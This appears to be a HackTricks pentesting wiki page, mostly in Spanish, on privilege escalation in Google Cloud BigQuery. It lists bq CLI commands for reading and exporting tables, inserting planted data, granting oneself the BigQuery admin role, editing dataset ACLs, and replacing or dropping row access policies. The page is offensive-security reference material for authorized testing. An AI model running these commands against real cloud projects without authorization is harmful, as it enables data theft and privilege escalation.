GCP - BigQuery Privesc

Support HackTricks

BigQuery

Para más información sobre BigQuery, consulta:

Leer Tabla

Leer la información almacenada dentro de una tabla de BigQuery puede ser posible encontrar información sensible. Para acceder a la información, los permisos necesarios son bigquery.tables.get, bigquery.jobs.create y bigquery.tables.getData:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Exportar datos

Esta es otra forma de acceder a los datos. Expórtalo a un bucket de almacenamiento en la nube y descarga los archivos con la información. Para realizar esta acción se necesitan los siguientes permisos: bigquery.tables.export, bigquery.jobs.create y storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Insert data

Puede ser posible introducir ciertos datos de confianza en una tabla de Bigquery para abusar de una vulnerabilidad en algún otro lugar. Esto se puede hacer fácilmente con los permisos bigquery.tables.get, bigquery.tables.updateData y bigquery.jobs.create:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Un atacante podría abusar de este privilegio para otorgarse más permisos sobre un conjunto de datos de BigQuery:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Solo este permiso permite actualizar su acceso a un conjunto de datos de BigQuery modificando las ACLs que indican quién puede acceder a él:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

Un atacante podría abusar de este privilegio para otorgarse más permisos sobre una tabla de BigQuery:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Según la documentación, con los permisos mencionados es posible actualizar una política de fila. Sin embargo, usando la cli bq necesitas algunos más: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

Es posible encontrar el ID del filtro en la salida de la enumeración de políticas de fila. Ejemplo:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09

Si tienes bigquery.rowAccessPolicies.delete en lugar de bigquery.rowAccessPolicies.update, también podrías simplemente eliminar la política:

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Otra opción potencial para eludir las políticas de acceso a filas sería simplemente cambiar el valor de los datos restringidos. Si solo puedes ver cuando term es Cfba, simplemente modifica todos los registros de la tabla para que tengan term = "Cfba". Sin embargo, esto está prevenido por bigquery.

Apoya a HackTricks

Last updated